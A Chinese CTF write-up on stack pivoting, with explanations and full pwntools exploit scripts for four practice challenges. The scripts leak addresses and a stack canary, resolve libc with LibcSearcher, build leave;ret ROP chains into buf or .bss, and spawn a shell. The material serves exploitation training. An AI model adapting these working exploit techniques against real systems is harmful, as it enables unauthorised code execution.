基础 两个对buf的输入 pwn75
位置不够,且有system函数但没有“/bin/sh”字符串
思路 泄露ebp的地址,然后gdb调试找到buf开头和ebp之间的偏移以找到buf的位置
之后通过第二次输入对调用system函数,并在payload中传入字符串“/bin/sh\x00”,之后通过这个函数的ret让程序返回到buf开头处执行后门函数
差是0x38
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * context(arch = 'i386',os = 'linux',log_level = 'debug') #p = process('./pwn75') p = remote('pwn.challenge.ctf.show',28124) p.recvuntil(b"codename:") payload=b"a"*0x24+b"1234" p.send(payload) p.recvuntil(b"1234") ebp = u32(p.recv(4)) print(hex(ebp)) leave=0x080486AC system=0x08048400 main=0x08048768 off=0x38 buf=ebp-off p.recvuntil(b"want to do?") payload=p32(system)+p32(main)+p32(buf+12)+b"/bin/sh\x00" payload=payload.ljust(0x28,b"a") payload+=p32(buf-4)+p32(leave) p.sendline(payload) p.interactive()
1 payload=p32(system)+p32(main)+p32(buf+12)+b"/bin/sh\x00"
把/bin/sh字符段通过payload放入栈上,之后再system函数的的参数位置放置/bin/sh字符串的位置
1 2 3 4 5 payload=b"a"*0x24+b"1234" p.send(payload) p.recvuntil(b"1234") ebp = u32(p.recv(4)) print(hex(ebp))
注意sendline会在发送payload之后再发送一个/n
会影响接收数据
一个s一个buf [Black Watch 入群题]PWN
没有system函数
思路 通过s设置rop链泄露got表地址,之后返回main函数继续执行,buf返回s去执行rop链
通过泄露的got表地址得到system的需要信息,构造后门函数
在s放置构造好的后门函数,通过buf让函数进入执行
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * from LibcSearcher import * context(arch = 'i386',os = 'linux',log_level = 'debug') #p= process('./spwn') p= remote("node5.buuoj.cn",28120) elf=ELF("./spwn") #gdb.attach(p,"b *0x08048511") #bss=elf.bss() s=0x0804A300 write_plt=elf.plt['write'] write_got=elf.got['write'] main=0x8048513 leave=0x08048511 payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) p.recvuntil(b"What is your name?") p.send(payload) p.recvuntil(b"What do you want to say?") payload1=b"a"*24+p32(s-4)+p32(leave) p.send(payload1) write=u32(p.recv(4)) print(hex(write)) libc=LibcSearcher("write",write) libc_base=write-libc.dump('write') system=libc_base+libc.dump('system') sh=libc_base+libc.dump('str_bin_sh') payload=p32(system)+p32(0)+p32(sh) p.recvuntil(b"What is your name?") p.send(payload) p.recvuntil(b"What do you want to say?") p.send(payload1) p.interactive()
注意:返回地址必须写main的地址
在 vul_function 函数中,程序会在栈上创建一个名为buf 的缓冲区。
如果你的 ROP 链没有回到 main,而是直接回到 vul_function,那么 vul_function 在重新执行时会再次创建栈帧,这可能会影响你第一次泄漏后在 .bss 区域布置的 ROP 链。
main 函数的结构非常简单,它只调用 vul_function,因此它的栈帧非常稳定,不会干扰 bss 段中的数据。
当vul_function函数可以正常返回的时候,它的栈帧会被清理而不影响下一步
进阶 canary+迁移 附件
输入的最远位置只到ret的地址,而且没有system函数,所以要栈迁移
而且有canary泄露
所以接收buf的地址之后,通过printf的输出泄露canary,然后在buf上布置泄露libc的函数(返回地址写main),让函数跳转过去执行之后泄露,之后用泄露libc基地址去拿到shell
初始时操作系统为程序分配了内存,其中就包括初始栈空间(buf),之后栈迁移跳转到buf段,再次进入main函数,程序在这里再次创建栈帧,所以输出的buf的地址会发生变化,要重新接收地址
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import * import sys from LibcSearcher import * file_path = "./111" remote_host = "node4.anna.nssctf.cn" remote_port = 28483 context(arch='amd64', os='linux', log_level='debug') elf = ELF(file_path) if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) #gdb.attach(p, "b*0x04012D7") p.recvuntil(b"Before you start to attack, I give you a small gift\n") p.recvuntil(b"0x") buf=int(p.recv(12),16) print(b"buf=============="+hex(buf).encode()) puts_plt=elf.plt['puts'] read_got=elf.got['read'] main=0x40120A leave=0x4012D7 rdi=0X401205 ret=0X40101a payload1 = b'a' *0x28+ b'b' p.send(payload1) p.recvuntil(b'b') canary = u64(p.recv(7).rjust(8, b'\00')) print(f"canary -------------------:{hex(canary)}") pay=p64(rdi) + p64(read_got) + p64(puts_plt)+ p64(ret)+p64(main)+ p64(canary)+p64(buf-8)+p64(leave) p.recvuntil(b"The last read??") p.send(pay) read= u64(p.recvuntil("\x7f")[-6:] + b'\0\0') print(f"read: {hex(read)}") libc = LibcSearcher("read", read) libc_base = read - libc.dump("read") system= libc_base + libc.dump('system') bin= libc_base + libc.dump('str_bin_sh') print(b"base============="+hex(libc_base).encode()) # rsi=libc_base+0x2be51 # rdx=libc_base+0xa5722 p.recvuntil(b"0x") buf=int(p.recv(12),16) print(b"buf=============="+hex(buf).encode()) p.send(b'a') pay=p64(rdi)+p64(bin)+p64(system)+b"a"*0x10+p64(canary) + p64(buf- 0x8) + p64(leave) p.recvuntil(b"The last read??") p.sendline(pay) p.interactive()
收获
代表栈不平衡
lea_read 附件
可以看到没有泄露地址的机会,但是read本身的比较特殊
read的读入地址是存储的是buf的地址,但是实际是按照其相对于rbp的偏移来确定的,所以我们可以把rbp赋值为我们要写入的地址+buf的off,之后把ret的地址覆盖为 lea rax, [rbp+buf]的地址,这里主要是因为后面会有赋值把rax的数值赋值给rdi,以实现后期的read读入地址的改变,已经read函数的调用
这里我们可以让函数跳转到bss段,但是注意bss段头部通常会存放一些程序初始化时使用的全局变量。为了避免覆盖这些重要数据,通常会将栈迁移的地址稍微往后移动一些,留出足够的空间。
一个对攻击有用的 lea 指令要满足:
计算出的地址依赖你能控制的基址(如 rbp);
结果寄存器会传递到函数参数里(如 rsi, rdi);
后续函数调用(如 read, puts)会真的使用这个地址;
不要有副作用破坏攻击环境。
.bss 段是一个未初始化的数据段,它的大小通常在编译时确定,但其中的大部分空间可能没有被任何已知的变量占用。 IDA 显示了 .bss 段从 0x404040 开始,到 0x404069 结束,这表示在这个范围内,IDA 找到了已知的符号 (如stdin、stderr等)。
然而,这并不意味着 .bss 段只到 0x404069。程序的 .bss 段的实际大小可以在 ELF 文件的头部信息中找到。通常情况下,.bss 段会比 IDA 显示的已知符号范围大得多。
简单来说,IDA 就像一个图书馆目录,只列出了有名字的书(符号),但并不会把所有空书架(未使用的地址)都一一列出来。可以在任何空书架上放置你的东西,只要它属于这个图书馆(.bss 段)即可。
栈迁移的目标地址必须满足两个条件:
可写: 该内存区域必须是可写的,因为我们要把伪造的ROP链写入到这个位置。bss段就是可写的。
不被占用: 该区域不能被程序当前使用的其他数据(如全局变量)占用,否则会覆盖数据,导致程序崩溃。
之所以选择bss段,是因为它在程序运行期间通常是未被初始化 的,因此可以安全地用于存放我们的ROP链。而使用0x405000(或者脚本中的0x404500),可能是为了避免与bss段起始处的全局变量发生冲突 ,因为bss段的起始部分可能被用来存储一些未初始化的全局变量。
所以我们构造的时候尽量开一个新页,选择一个页对齐的地址,或者至少是一个较大的、远离已知数据的偏移地址 。.bss 段的首地址通常被程序用来存放一些重要的全局变量 。
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import * import sys from LibcSearcher import * file_path = "./222" remote_host = "node4.anna.nssctf.cn" remote_port = 28483 context(arch='amd64', os='linux', log_level='debug') elf = ELF(file_path) if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) #gdb.attach(p, "b*0x401211") def sla(a, b): p.sendlineafter(a, b) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b) bss=0x404500 main=0x4011DB rdi=0x401225 leave=0x40121B read=0x401200 rbp=0x40115d puts_plt=elf.plt["puts"] puts_got=elf.got["puts"] ret=0x40101a pay1=b"a"*0x50+p64(bss+0x50)+p64(read) sa(b"Xswlhhh!Use stack hijacking on him!",pay1) pay=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rbp)+p64(bss+0x200+0x50)+p64(read) pay=pay.ljust(0x50,b"a")+p64(bss-8)+p64(leave) p.send(pay) puts = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00')) print(b"puts==========="+hex(puts).encode()) libc=LibcSearcher("puts",puts) libc_base=puts-libc.dump("puts") print(b"libc_base==========="+hex(libc_base).encode()) system=libc_base+libc.dump("system") bin=libc_base+libc.dump("str_bin_sh") print(b"system==========="+hex(system).encode()) print(b"bin==========="+hex(bin).encode()) payload=p64(ret)+p64(rdi)+p64(bin)+p64(ret)+p64(system) payload=payload.ljust(0x50,b"\x00") payload+= p64(bss+0x200)+p64(leave) p.send(payload) p.interactive()
收获
调用system函数会压栈,所以这个地址也要抬高,确保它是在rw-p权限段
在没有抬高栈地址的时候
此时权限不够